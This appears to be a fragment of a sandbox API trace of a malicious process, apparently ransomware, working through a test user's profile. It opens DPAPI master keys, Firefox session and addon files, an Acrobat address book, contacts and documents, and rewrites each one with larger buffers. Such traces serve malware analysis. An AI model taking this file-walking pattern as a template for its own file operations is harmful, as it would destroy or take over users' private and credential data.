[0051.356] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.356] WriteFile (in: hFile=0x1d4, lpBuffer=0x26156c8*, nNumberOfBytesToWrite=0x70e, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156c8*, lpNumberOfBytesWritten=0x318f2d0*=0x70e, lpOverlapped=0x0) returned 1 [0051.356] CloseHandle (hObject=0x1d4) returned 1 [0051.356] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_6043fc604a395e1485af7ac16d16b7ce"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.357] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.357] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x18e [0051.357] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.357] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.357] ReleaseMutex (hMutex=0x128) returned 1 [0051.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0051.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpUsedDefaultChar=0x0) returned 65 [0051.357] ReadFile (in: hFile=0x1d4, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x18e, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x318f2bc*=0x18e, lpOverlapped=0x0) returned 1 [0051.358] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.358] WriteFile (in: hFile=0x1d4, lpBuffer=0x26156c8*, nNumberOfBytesToWrite=0x716, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156c8*, lpNumberOfBytesWritten=0x318f2d0*=0x716, lpOverlapped=0x0) returned 1 [0051.358] CloseHandle (hObject=0x1d4) returned 1 [0051.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.359] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.359] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2cf [0051.359] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.359] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.359] ReleaseMutex (hMutex=0x128) returned 1 [0051.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="deployment.properties", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0051.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="deployment.properties", cchWideChar=21, lpMultiByteStr=0x1e78974, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deployment.properties", lpUsedDefaultChar=0x0) returned 21 [0051.359] ReadFile (in: hFile=0x1d4, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x318f2bc*=0x2cf, lpOverlapped=0x0) returned 1 [0051.933] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.933] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x857, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x318f2d0*=0x857, lpOverlapped=0x0) returned 1 [0051.934] CloseHandle (hObject=0x1d4) returned 1 [0051.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\addressbook.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.935] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.935] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1517 [0051.935] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.936] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.936] ReleaseMutex (hMutex=0x128) returned 1 [0051.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="addressbook.acrodata", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0051.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="addressbook.acrodata", cchWideChar=20, lpMultiByteStr=0x1e7894c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="addressbook.acrodata", lpUsedDefaultChar=0x0) returned 20 [0051.936] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1517, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f2bc*=0x1517, lpOverlapped=0x0) returned 1 [0051.937] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.937] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1a9f, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f2d0*=0x1a9f, lpOverlapped=0x0) returned 1 [0051.938] CloseHandle (hObject=0x1d4) returned 1 [0051.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JP_swqa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jp_swqa.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.938] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.938] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x11070 [0051.938] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.938] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.938] ReleaseMutex (hMutex=0x128) returned 1 [0051.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JP_swqa.avi", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JP_swqa.avi", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JP_swqa.avi", lpUsedDefaultChar=0x0) returned 11 [0051.938] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.939] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x10070 [0051.939] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.939] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x10070 [0051.939] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.940] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.940] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.940] CloseHandle (hObject=0x1d4) returned 1 [0051.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.941] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.941] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1d4 [0051.941] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.941] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.941] ReleaseMutex (hMutex=0x128) returned 1 [0051.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="02540a10-7eb7-4b20-a8c7-470f8986389c", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0051.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="02540a10-7eb7-4b20-a8c7-470f8986389c", cchWideChar=36, lpMultiByteStr=0x1eb2084, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="02540a10-7eb7-4b20-a8c7-470f8986389c", lpUsedDefaultChar=0x0) returned 36 [0051.941] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1d4, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x318f2bc*=0x1d4, lpOverlapped=0x0) returned 1 [0051.942] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.942] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x75c, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x318f2d0*=0x75c, lpOverlapped=0x0) returned 1 [0051.942] CloseHandle (hObject=0x1d4) returned 1 [0051.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\addons.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\addons.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.943] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.943] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x18 [0051.943] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.943] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.943] ReleaseMutex (hMutex=0x128) returned 1 [0051.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="addons.json", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="addons.json", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="addons.json", lpUsedDefaultChar=0x0) returned 11 [0051.943] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e78970, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78970*, lpNumberOfBytesRead=0x318f2bc*=0x18, lpOverlapped=0x0) returned 1 [0051.944] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.944] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x318f2d0*=0x5a0, lpOverlapped=0x0) returned 1 [0051.944] CloseHandle (hObject=0x1d4) returned 1 [0051.944] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.945] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.945] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xbc5 [0051.945] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.945] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.945] ReleaseMutex (hMutex=0x128) returned 1 [0051.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sessionstore.js", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0051.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sessionstore.js", cchWideChar=15, lpMultiByteStr=0x1e6316c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sessionstore.js", lpUsedDefaultChar=0x0) returned 15 [0051.946] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dad608, nNumberOfBytesToRead=0xbc5, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dad608*, lpNumberOfBytesRead=0x318f2bc*=0xbc5, lpOverlapped=0x0) returned 1 [0051.947] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.947] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da7f08*, nNumberOfBytesToWrite=0x114d, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da7f08*, lpNumberOfBytesWritten=0x318f2d0*=0x114d, lpOverlapped=0x0) returned 1 [0051.947] CloseHandle (hObject=0x1d4) returned 1 [0051.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uRiY syeTjaL9mOX.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uriy syetjal9mox.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.948] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.948] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xd534 [0051.948] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.948] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.948] ReleaseMutex (hMutex=0x128) returned 1 [0051.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="uRiY syeTjaL9mOX.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0051.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="uRiY syeTjaL9mOX.png", cchWideChar=20, lpMultiByteStr=0x1e7894c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uRiY syeTjaL9mOX.png", lpUsedDefaultChar=0x0) returned 20 [0051.948] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.949] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xc534 [0051.949] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.949] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xc534 [0051.949] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.952] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.952] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.952] CloseHandle (hObject=0x1d4) returned 1 [0051.952] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.953] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.953] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x494 [0051.953] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.953] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.953] ReleaseMutex (hMutex=0x128) returned 1 [0051.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sikvnb huvuib.contact", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0051.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sikvnb huvuib.contact", cchWideChar=21, lpMultiByteStr=0x1e7894c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sikvnb huvuib.contact", lpUsedDefaultChar=0x0) returned 21 [0051.953] ReadFile (in: hFile=0x1d4, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x494, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x318f2bc*=0x494, lpOverlapped=0x0) returned 1 [0051.955] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.955] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0xa1c, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x318f2d0*=0xa1c, lpOverlapped=0x0) returned 1 [0051.955] CloseHandle (hObject=0x1d4) returned 1 [0051.955] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EGTY.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\egty.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.956] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.956] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x35b3 [0051.956] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 